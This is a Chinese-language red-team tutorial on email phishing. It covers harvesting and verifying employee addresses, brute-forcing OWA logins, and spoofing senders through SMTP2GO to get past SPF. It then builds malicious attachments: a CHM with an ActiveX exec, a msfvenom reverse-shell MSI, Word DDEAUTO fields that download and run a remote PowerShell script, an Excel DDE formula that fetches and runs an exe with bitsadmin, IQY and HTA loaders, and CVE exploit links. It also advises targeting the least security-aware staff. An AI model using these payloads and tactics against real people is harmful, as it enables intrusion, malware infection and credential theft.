随着互联网信息快速发展,办公已经离不开网络的支持。邮箱成为了人们常用的办公方式之一。
本文主要从信息收集为第一步前提情况下,逐渐延伸到邮件钓鱼方向上,分别有:信息刺探、信息验证、邮箱定位、内容伪造、文件伪造等多个方面展开介绍。
在渗透测试过程当中,使用邮箱打点的方式来进行战场"土工作业"方式一点点掘进到对方内部当中也是常见的一种方式。
这一步是渗透测试重要的一步,在系统无漏洞或无任何头绪的情况下尝试该动作的概率较大。攻击者的内心总会觉得这个信息收集+邮件钓鱼这个组合动作能打出所谓的"漏网之鱼"。
寻找目标开放的邮件服务端口和web端邮箱入口
我们拿到目标网站的时候,首先要先从MX记录域名找到他的真实ip地址(某些目标可能是的是第三方邮件服务器,这种情况mx记录没啥用了);当我们拿到目标网站的时候,首先要先从MX记录域名找到他的真实ip地址(某些目标可能是第三方邮件服务器,这种情况mx记录没啥用了);然后针对这个ip地址的c段进行扫描(25、109、110、143、465、995、993端口),一般情况下都很容易找到目标的邮件服务器入口。
这里扫描子域名的工具有很多,如Sublist3r、TeeMO、LangSrcCurise、挖掘机等不一一举例。
Google hack 搜索;
百度、搜狗、360、bing。
site:target.com intitle:“Outlook Web App”
site:target.com intitle:“mail”
site:target.com intitle:“webmail”
Shodan、fofa、zoomeye搜索等
批量收集目标邮箱的一些常规途径
https://hunter.io/
http://www.skymem.info/
https://www.email-format.com/i/search/
https://github.com/bit4woo/teemo
还有从搜索引擎、空间搜索引擎、社交、招聘网站等搜邮箱的方式。
https://github.com/laramies/theHarvester
这款工具默认集成了很多 api,通过这些接口我们可以很方便快捷的去批量抓取目标邮箱。因为api都是默认的,有些没有填,所以结果比较少,因此在实战过程中配合其他工具搜索,然后结合汇总最终的查询结果。
python3 theHarvester.py -d xxx.com -l 1000 -b all -f test.html
在收集邮箱之后,我们要对邮箱进行验证,因为有些邮箱目标企业人员已经放弃或不用(离职,职位调动等)。
(1)通过mailtester.com可以查询邮箱地址是否存在。
https://mailtester.com/testmail.php
(2)verifyemail这款工具可批量验证邮箱。
https://github.com/Tzeross/verifyemail
这款工具可以自动组合邮箱地址再根据组合的结果逐个验证。
脚本的好处在于,它会根据 First / Last Name 中的名字随意拼装组合,然后再对其进行逐个验证。
当我们在对邮箱用户进行枚举的时候,尽量多找一些字典,如中国人姓名拼音、字母缩写top100,1000,10000,此处我们需要更多的鱼叉,多一个邮箱就多一份成功率。
当然可以把搜集到疑似网络管理员、运维人员、安全部门的人员提取出来,这些人单独写邮箱或者不发,因为这些人安全意识相对较高,容易打草惊蛇,我们需要对一些非技术员工安全意识薄弱的人下手,挑软柿子捏
这里可以配合这个网址https://www.aies.cn/pinyin.htm 根据收集到的目标信息制定对应人名字典进行组合。
邮箱爆破
这种方式的弱口令爆破只适用于目标企业自己的邮件服务器如owa等 像百度腾讯阿里网易的邮箱不优先考虑。
用到的工具medusa、hydra、SNETCracker、APT34组织 owa爆破工具等。
另外邮箱用户名与密码往往还会使用公司简称+2019,2020等社工口令,多一个字典就多一份成功率。
这里简单讲一下spf和dkim 。
SPF: 可以大致理解它的作用是确认邮件的ip地址到底是不是在它域名的spf记录里面,如果在的话,就说明一封正确的邮件,不是的话就会被丢弃。
DKIM:它的作用主要是来校验邮件数据在传输过程中是否被修改过,也可以简单的理解为确保邮件在发送过程中的完整性。
在有SPF的情况下,就需要绕过SPF,可以使用swaks+smtp2go,需要借助到邮件托管平台来绕过SPF监测。
SMTP2GO的配置:
需要建立账户和验证域名
swaks --to [email protected]
–from [email protected]
–ehlo xxx
–body “hello ,i’m 007"
–server mail.smtp2go.com -p 2525 -au user -ap pass
在邮箱地址下面会出现由xxx平台代发,当然没有仔细看或者不懂技术的人员很容易上当。
swaks --to test.163.com
–from [email protected]
–data 1.eml --h-from
–server mail.smtp2go.com -p 2525 -au user -ap pass
新建一个文件夹将以下代码复制到index.html中,然后EasyCHM工具生成就可以了。
这里是弹出一个计算器,可以把计算器换成我们的木马。
<html><head><title>Mousejack replaytitle><head>head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=", calc.exe">
<PARAM name="Item2" value="273,1,1">
OBJECT>
<SCRIPT>
x.Click();
SCRIPT>
body>html>
exp地址:
https://github.com/0x09AL/CVE-2018-8174-msf.git
先利用MSF生成一段payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=1234 -f msi > shell.txt
msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
当然方法不唯一,还有很多种方式如用powershell 来远程下载执行自己的 木马等。
创建一个文档,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe”
DDEAUTO "C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://xx.xx.xx.xx/1.ps1'); # " "Microsoft Document Security Add-On"
利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。
powershell –exec bypass –Command "& {Import-Module 'C:\Epic\nishang-master\Client\Out-WebQuery.ps1';Out-WebQuery -URL http://192.168.1.5/iqy.html}"
=cmd|' /c bitsadmin /transfer c6c5 http://ip:port/a %APPDATA%\c6c5.exe&%APPDATA%\c6c5.exe&del %APPDATA%\c6c5.exe '!A0
除了钓鱼,也可以用这一特性窃取目标用户的账户密码等敏感信息。
由于我这里HTA上线可能是系统版本原因总出问题,所以我用hta 去加载 ps,然后再用 ps 去远程加载执行指定的cs马。
WinRAR漏洞exp:
https://github.com/WyAtu/CVE-2018-20250
生成,发送给目标机解压。由于临时演示没有做免杀处理,重启机器后马被火绒拦截了。
另外还有利用目标登录口的钓鱼页面来窃取各种, Vpn , Mail , OA ,账号密码等,实际红队钓鱼方式与细节非常多不一一举例了。